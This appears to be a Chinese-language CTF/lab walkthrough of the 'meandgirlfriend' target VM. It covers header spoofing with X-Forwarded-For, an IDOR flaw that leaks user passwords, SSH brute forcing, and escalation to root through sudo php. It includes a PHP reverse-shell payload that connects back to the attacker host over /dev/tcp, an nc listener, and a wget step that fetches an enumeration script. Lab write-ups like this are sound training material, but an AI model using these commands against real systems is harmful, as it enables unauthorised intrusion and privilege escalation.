这篇博客记录在写靶场meandgirlfriend的一些流程,这篇是以攻击者的视角去进行的
一、信息收集
1.获取IP
netdiscover
结果如下:
搜集到IP地址为192.168.43.145
2.扫描端口
namp -p- -T5 192.168.43.143
结果如下
22端口:存在远程服务器连接
80端口:存在web页面
二、获取shell
1.web测试
访问web页面:
提示我们只能从当地去访问,我们查看网页源代码发现
提示我们去了解使用一下x-forwarded-for,我们去了解一下
X-Forwarded-For简介
通过这篇CSDN博客,我们能够简单的了解到x-forwarded-for的含义以及利用方法
如图抓包加上这句话
放回抓的包,我们刷新页面即可成功访问目标登陆页面
根据功能显示,我们先去注册一个账号然后用注册的账号去登录
如图登录成功后,我们发现profile页面能够看到账户名等信息,我们右键改变html的元素来让password显现
成功看到密码,我们观察URL栏的user_id,可能存在越权漏洞,我们试着将数字改为其它,先改为1然后同样步骤去观察用户的信息
我们用bp的爆破模块去遍历id号,如图设置
用bp的模块爆破发现只有id1~5和id9有值,我们用同样的方法去一个个记录下用户名和其对应的密码
2.SSH爆破
用我们刚才拿到的账户名和密码利用超级弱口令工具去爆破SSH
如图成功爆破,我们用finashell去连接SSH即可拿到shell
三.提权
我们将kali上面的提权检查脚本上传到靶机上去运行
先在kali上开一个服务去供靶机下载程序
python2 -m SimpleHTTPServer 5566
然后去靶机上下载文件并赋予权限
wget http://192.168.43.129:5566/LinEnum.sh
chmod 777 LinEnum.sh
开始执行
如图发现提权突破点
可知我们在执行php命令的时候sudo不需要密码,我们用vim写一个php脚本
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.43.129/10086 0>&1'")
?>
保存文件为1.php
kali开启监听端口
nc -lvvp 10086
然后在靶机上运行脚本
sudo php 1.php
成功拿到shell
由于我们在执行php脚本的时候是以root权限去执行的,因此我们得到的shell是root权限
最后在/root下发现flag文件
总结
①有SSH的时候我们要想办法看是否能够连接到它的服务器shell
②提权的时候可以利用脚本来检测有哪些点可以利用